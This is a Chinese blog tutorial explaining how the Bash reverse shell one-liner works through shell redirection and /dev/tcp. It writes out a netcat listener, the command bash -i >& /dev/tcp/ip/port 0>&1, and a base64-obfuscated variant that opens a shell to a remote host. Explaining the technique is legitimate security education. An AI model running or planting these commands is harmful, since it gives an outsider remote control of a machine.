利用 Bash 反弹 shell

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用 Bash 反弹 shell相关的知识,希望对你有一定的参考价值。

参考技术A

利用 bash 反弹 shell 的方法很简单,百度一搜索就出来了,大部分都会给出这么一条命令

bash -i >& /dev/tcp/ip/port 0>&1

但是为什么这样就能反弹一个 shell 呢?

>&

ls bebe >& 1.txt
bebe 这个文件夹是不存在的,这个时候会发生什么呢?

会报错吗?不会的,因为错误信息被重定向到 1.txt 文件里了

在 linux 系统里面,各种文件都有自己的标识符,0 代表的是标准输入,1 代表的是标准输出, 2 代表的是标准错误输出,在上面的例子里,因为不存在 bebe 这个文件夹,所以在使用 ls 命令时系统会返回一个错误信息,这就是一个标准错误输出,而如果 bebe 文件夹存在的时候会是什么样呢?为了显示区别,我在 bebe 文件夹创建了一个 test 文件

可以看到,当用 2> 重定向到 3.txt 时是失败了的,里面没有任何东西,前面说了,2 在 linux 系统中代表的是标准错误输出,但是此时 bebe 文件夹是存在的,里面也有文件,所以系统不会返回一个错误信息,而是一个标准输出文件,用 1> 就能正确操作了。

既然有 > ,那么肯定就有 < 了,> 是将输出重定向, < 正好是反过来,重定向输入

/dev/tcp/ip/port

与一台主机指定端口建立 socket 连接

0 >& 1

这里将输入重定向到输入,如果反过来会发生什么,嘿嘿,测试一下

看到没,我在 linux 执行命令,但是命令在 windows 显示出来了,但是命令的回显又是在 linux 本机显示的,这个顺序反了啊

最后

对于这个命令的执行,我也只是查了一些资料,简单测试了一下,从我的理解来看,第一个 >& 是把 bash -i 生成的交互式 shell 重定向到远程主机的 port 上,最后的 0>&1 则是把本该在 linux 上的回显再重定向到 bash 的输入,而此时 bash 的输入是在远程主机之中,这就实现了命令的执行和回显都在远程主机中,方便进行操作。

Windows/Linux 下反弹shell

Linux 反弹shell

bash环境获取shell

  • 客户端
nc -lvp 8888
  • 服务器
bash -i >& /dev/tcp/ip/port 0>&1
bash -c \'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}\'
//base64版

在线编码地址


参考链接

cnblogs-Windows反弹shell方法总结
CSDN-Windows/Linux下nc反弹shell
反弹shell的各种姿势

免责声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

以上是关于利用 Bash 反弹 shell的主要内容,如果未能解决你的问题,请参考以下文章

Windows/Linux 下反弹shell

Windows/Linux 下反弹shell

Log4j反弹shell

反弹shell基础

【安全记录】反弹shell小记

Linux/Windows反弹shell